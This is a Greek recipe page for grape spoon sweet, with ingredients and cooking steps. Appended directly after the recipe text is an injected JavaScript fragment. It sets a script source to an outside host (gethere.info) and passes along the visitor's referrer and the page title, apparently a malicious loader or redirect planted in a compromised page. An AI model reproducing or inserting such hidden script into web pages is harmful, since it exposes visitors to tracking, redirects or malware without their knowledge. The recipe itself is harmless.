mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Γλυκό του κουταλιού σταφύλι

Γλυκό του κουταλιού σταφύλι

mg_6278
Για κέρασμα, για συνοδευτικό με τον ελληνικό καφέ, για να καταπολέμηση της λιγούρας, για δώρο για όποιον λόγο κι αν σκεφτούμε τα γλυκά του κουταλιού είναι μια φανταστική ιδέα για γλυκό!Πόσο μάλλον όταν γίνονται με φρούτα εποχής που τα λατρεύουμε και θέλουμε να εγκλωβίσουμε τη γεύση και τη νοστιμιά τους σε βαζάκια για να τα απολαμβάνουμε όλο το χρόνο! Αυτήν την εβδομάδα φτιάχνουμε γλυκό σταφύλι αφού το βρίσκουμε παντού και σε μεγάλες ποσότητες!

Yλικά:

1 κιλό ( καθαρό βάρος)
500 γρ. ζάχαρη
150 γρ. νερό
1 βανίλια
χυμό λεμονιού

Εκτέλεση:

Πλένουμε καλά τις ρόγες σταφυλιού και τις στεγνώνουμε από τα νερά.
Σε ένα βαθύ σκεύος βάζουμε να βράσει το νερό με τη ζάχαρη και τη βανίλια.
Μόλις αρχίσει να βράζει το νερό ρίχνουμε μέσα τα σταφύλια και δεν τα ανακατεύουμε απλώς κουνάμε λίγο το σκεύος για να μην κολλήσουν.
Τα αφήνουμε να βράσουν για 15 λεπτά περίπου και έπειτα χαμηλώνουμε τη φωτιά.
Μόλις αρχίσει να δένει το σιρόπι ρίχνουμε το χυμό λεμονιού κι αρχίζουμε να κουνάμε το σκεύος για να πάει το σιρόπι παντού!
Μόλις γίνει γεμίζουμε τα βαζάκια μας και το αποθηκεύουμε για να το απολαμβάνουμε όλο το χρόνο!
Καλή επιτυχία!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
2 Σχόλια
  1. […] post Γλυκό του κουτα&… appeared first on Arkoudos, Συνταγές … […]